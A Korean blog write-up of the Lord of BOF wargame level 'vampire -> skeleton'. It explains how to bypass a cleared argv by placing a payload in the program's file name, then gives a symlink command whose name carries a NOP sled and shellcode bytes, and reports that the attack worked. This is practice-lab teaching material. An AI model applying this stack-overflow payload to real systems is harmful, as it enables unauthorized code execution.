nemo의 이야기

BOF원정대 vampire -> skeleton 본문

Information security/System security

BOF원정대 vampire -> skeleton

nemojjong 2018. 1. 19. 22:57

 

이전 문제와 비슷하지만 한가지가 다르다

 

1. argv를 모두 초기화 한다.

 

이를 공격하기 위해서는 파일명이 저장되어 있는 스택 메모리 끝에 있는 주소를 이용하여 공격하면 될 것이다.

 

그러기 위해서는 argv[0]에 있는 주소를 확인해야 된다.

 

 

더미코드로 실행하여 argv[0]에 주소를 확인한 결과 0xbffffc22이다.

 

이제 bfffc22부터 시작하여 스택메모리 끝부분에 있는 파일명에 위치를 찾아보자

 

 

bfffffe3에 있는 것을 확인 할 수 있다.

 

이제 심볼릭 링크를 이용하여 파일명을 공격코드로 변경하여 공격해보자

 

 ln -s skeleton $(python -c 'print "A" + "\x90" * 100 + "\x68\xf9\xbf\x0f\x40\x68\xe0\x91\x03\x40\xb8\xe0\x8a\x05\x40\x50\xc3"')

 

이렇게 심볼릭 링크를 만들고 심볼릭 링크로 argv[0]에 주소를 넣고 공격해보자

 

공격에 성공한 것을 확인할 수 있다.

 

 

'Information security > System security' 카테고리의 다른 글

BOF원정대 golem -> darknight  (0) 2018.01.28
BOF원정대 skeleton -> golem  (0) 2018.01.25
BOF원정대 orge -> troll  (0) 2018.01.10
BOF원정대 darkelf -> orge  (0) 2018.01.08
BOF원정대 wolfman -> darkelf  (0) 2018.01.08
Comments